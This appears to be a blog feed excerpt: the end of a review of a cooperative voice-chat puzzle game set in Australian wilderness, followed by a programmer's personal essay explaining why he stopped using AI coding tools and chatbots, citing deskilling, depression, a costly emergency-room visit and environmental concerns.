Any brightly-colored, kindercare-ass structure or object is puzzle-relevant. The wilderness is not. There's this pervasive ideology in a lot of game studios and player communities that "realism" is a kind of "null" perspective, vacant of meaning or style - which is never true, really. But this game feels like it's saying: okay, if we embrace the idea that realism is vacant of meaning, then it can just be the part of the game that is vacant of puzzles, and the puzzles will be so much more surreal and toylike and stylized that you won't be able to keep your eyes off of them. It's using realism in such an interesting way!!

That said, no realism is without style or value or intent, and this game is very conspicuously aware of that, because it's using Australian wilderness as its "realistic" landscape. Australian landscapes are not common in games.

The rocks are not particularly "realistic," but the plants really are. I can even recognize some of these plant species from Los Angeles landscaping, where Australian plants are often used as ornamentals. (Sometimes, they're also invasive!) I don't know their names, because I don't ID landscaping plants on iNaturalist, but it's wild to walk past a bush and feel like you're looking at a real bush you've seen before in someone's garden. It's nuts! I don't think I've ever even seen a north American landscape with recognizable bush species in a first-person game before. Big Walk is definitely foregrounding the intent that must be present even in "realistic" landscapes.

Anyway, this is a game of compelling contrasts. It's also extremely fun - the puzzles are all just challenging enough to force you and your team to make a plan and cooperate. We have only gotten absolutely stuck on one so far, and we think we know how to solve it. Everything is tuned for a specific number of players, so we're just charging ahead through the three-player map, making weird progress every session and exploring more and more of the surprisingly vast environment as we go. It's delightful.

I'd recommend this to anyone. However, you really do need to be in a different room from the other players to enjoy this game - the built-in VO system is completely key to the experience and you should not be supplementing it or replacing it with Discord. If you want to play with your children, you're going to have to make sure that you can all play in different rooms of the house, with the doors closed. Many puzzles do not "work" unless you are using the game's VO system and can only hear voices transmitted through it. The game is basically 100% communication puzzles, so far.

Here's the trailer, if you're not sold yet:

And here's some cryptic photos from my game. I'm spoiling no objects here that aren't also in the trailer:

I'm done using AI

hidden (brettcodes) — Mon, 10 Aug 2026 12:33:00 +0000

I've been programming for 20 years. It started as a hobby as a teen, making fansites and little video games. Then it turned into a career. And it's something I've largely enjoyed doing. I like learning, I like problem solving, and I like making things, which is a lot of what programming is. Over the past 18 months, my career, my hobby, and my craft have been drastically changed by the introduction of LLM-powered coding harnesses (e.g., Claude Code) and what's often referred to as "agentic programming." Because of its negative impacts on the environment, society, and my mental health, I've decided to stop using it.

▶ Watch a ramble video version of this post.

I first became aware of using LLMs for programming a few years ago through GitHub's Copilot integration in Visual Studio Code, which was like autocomplete on steroids. You'd start typing function sortNames and it'd show you a preview of what that implementation could look like. I tried it and found it distracting and basically useless. The second time it reared its head was the early chat interfaces. A colleague was using it to help investigate an issue and the solution the LLM provided them with wasn't working. Turns out that the LLM hallucinated a version of a software library that didn't exist, and therefore couldn't be installed nor used to fix the issue.

Around this time, at that job, a true believer of AI was hired as the head of the product team. They were a product manager who began submitting changes, using the LLM-powered coding tools but without understanding the implications to the broader system. Conversations became focused on how to integrate AI into the software that the customers used. I was watching it spread like a virus throughout that organization, while I continued programming away as I had for the decades before, writing tests and building features, and largely enjoying the work.

At a newer job, the job I have now as I write this, I continued to code how I had my entire life. Writing TypeScript, Ruby, CSS, etc. and corresponding tests, integrating with other systems and depdnencies. It's a small team of less than 10 developers. On collaborative calls, I'd see how some of my colleagues utilized AI in the Cursor editor, quickly tab completing the code and sometimes prompting it inline to write some code. The LLM-powered coding tooling at that time was largely working at a local-to-that-file, small scale. I thought it was neat, almost magical, but nothing would pry me away from Neovim and tmux, and I felt like I was working fast enough anyway.

I didn't, and I still don't, see the need for working faster. I really like what Cal Newport encourages in his book Slow Productivity: work at a natural pace.

In early 2025 I was asked a question by management: "what do you think of this AI coding stuff?" And I said "it's often wrong, gets in my way, and doesn't help me code faster, so I don't use it." Management would not long after attend a conference and be sold on how LLMs would change everything we know about knowledge work, revolutionizing the workplace. This then led to a mandate to make use of AI tools or be left behind.

I decided to give AI a go, in earnest. I tried the Cursor editor, but it didn't click with me and ran horribly on Linux. So I tried Zed, and pretty soon thereafter I was utilizing the sidebar chat with auto-edit to have the LLMs make changes to the code and build software. At that time, it honestly felt magical. Type into a box and the thing would write code and answer my questions. During mid-2025, agentic editing became the new way to use AI for coding, replacing the auto-complete-based workflows. As the AI companies invested in training models tuned for that purpose and building coding harnesses, the capabilities kept getting better and better.

Fast forward a year to mid-2026. In the lead up to my decision to stop using AI, I was able to essentially connect Linear to Claude Code and have it build out a non-trivial project from start to finish without me editing a line of code. The work got done faster than I could have done on my own. And I barely had to think. While that sounds amazing if you're a person who profits from more work getting done, there are immense drawbacks to this, which I'll share more about in a moment. I share this anecdote to say: I understand what the LLM-based coding harnesses are capable of. I write this all from the perspective of an experienced lead engineer who used these tools in earnest for more than a year. And I cannot in good conscious continue to use AI for coding (or anything else) any longer.

During the time when I started using the LLM coding tools, I also started to use the chat functionality. I'd ask it to recommend me books. I'd ask for career advice. I'd float business ideas by it. I talked to it like it was a friend. I'd come up with grand ideas, and it was always supportive. And I'd ask it for medical advice. I'm embarrassed to admit this, but one night when I was sick, I described all my symptoms and it told me to go to the Emergency Department at the hospital. So I hopped in my car at midnight, suffering from the flu, and drove to the ED. I sat there and waited for two hours in the waiting room while my ibuprofen I took before I left kicked in. By the time I saw a medical professional, they basically just told me to go home and rest, that I didn't need to go to the ED. While sure, yeah, better safe than sorry can sometimes apply to the ED, I think relying on the AI chat for what action to take for my medical condition was a huge mistake. It also cost me hundreds of dollars. That example, among others, helped me realize the AI chat was making me delusional.

I stopped using the AI chat because it became very clear it wasn't helpful or healthy, and it was in fact dangerous. But I kept using AI for coding at work, using it to take on more and more of the heavy-lifting to the point where I was just a code reviewer and a quality assurance tester for the features the coding harness would spit out. Getting a lot of tasks done, it can feel exhilarating. That is, until I realized, well, I'm basically just a hamster on a wheel, checking boxes, getting tickets done with no real purpose. Sure, I catch an issue here or there. But it's impossible to review the quantity of code the AI writes, and we've got a different AI to review it anyway! So what did this do? Well, it made me lazy. It made me stop caring. It made me a worse programmer. It made me depressed. Because I stopped doing the hard work, I stopped learning, I stopped growing, I stopped being the one making the software.

I had a conversation with management about how a developer's job is now is to teach the AI to be better, make fewer mistakes, etc. To review the code. And to test the changes that the AI makes. This is a horrible existence, and it was one of the other signs that this is untenable for me to continue like this.

One of the other signs that something had to change is that the more I used AI for coding at work, the more distant I felt from the software and its features. I couldn't explain precisely how something worked without asking the AI. I cared far less about the code and the software itself because I didn't write any of that code myself, I was removed from it.

Upon reflection, I've come to believe that quality software is not about how many features something has or how quickly it is built but rather how cared for it is by the designers, developers, and product people who work on it. There's an ineffable aspect to my favorite pieces of software where I don't think of it is as feature matrix but rather as an interface made by a human for humans that's a joy to use. And when you build software with AI, it leads to worse software. Sure, it's faster to build initially, but I think to the detriment of the quality of the code and the user interface and the user experience.

I also started experiencing existential dread. If I'm basically just feeding Linear tickets into a CLI, why am I needed at all? Will software engineering exist in a few years? Should I go become an electrician or something else entirely? But what about this craft I love and career I've had? Will it just go away?

I started to learn more about the true cost of AI, from the data centers to the water usage and beyond. That it's built and trained upon stolen sources. And the cost is extreme. And that cost is largely hidden from people unless they're building a data center in your backyard (which they might be before you know it).

So in summary: using AI for coding led to depression, apathy, existential dread, and worse software. Not good. Add on top of that the negative environmental, community, and economic impacts of AI, and it became extremely apparent to me that something's gotta change.

Earlier in the year, at the nadir of all of this, I returned to one of my hobbies: game programming. During this time, I finished writing my book on coding games for Playdate, made some small games, and created a 2D Lua game engine called Usagi with Rust. I was feeling disillusioned with coding at work and going back to the basics by writing and coding without AI helped me realize how much I love coding and how using AI was making me a worse programmer and negatively impacting my mental state.

I tried to use AI less at work, like only use it for trivial tasks, but that never really worked. I'd just fall back to using it for pretty much everything. It feels silly to type out a test when you can just have AI do all of it. For me, it feels like an all or nothing decision. Also, using it less but still using it means I'd still be using it, therefore showing demand for it and contributing to the harms it causes. No thanks.

When someone decides to make use of some technology, or more abstractly a tool, there's always some sort of cost to using it. The cost of using LLM-based tooling is way too high and absolutely not worth it, in my opinion, for myself or society. In my opinion, AI is unquestionably a net harm compared to any benefits it may provide.

To put it simply: I do not like this world where people are using AI to generate art, music, writing, and software. So I will not use AI.

I don't know what consequences will come from this decision to stop using AI for coding at work. It is possible I will be terminated. It's possible I'll be able to get by just fine. Time will tell. But all I know is that I couldn't keep working that way, as it was in no uncertain terms ruining my life.

What comes next, I'm not quite certain. I want to talk about all this more. I want to see how other developers are fairing. I want to return to my love of sharing what I learn and helping other programmers through writing and videos. Well, helping those who want to actually learn to program, not those that want to just prompt their way to a solution. It's a strange and uncertain time, that's for sure. But I'm going to see what the future brings and stick to my values and be true to myself. Here's to writing code by hand.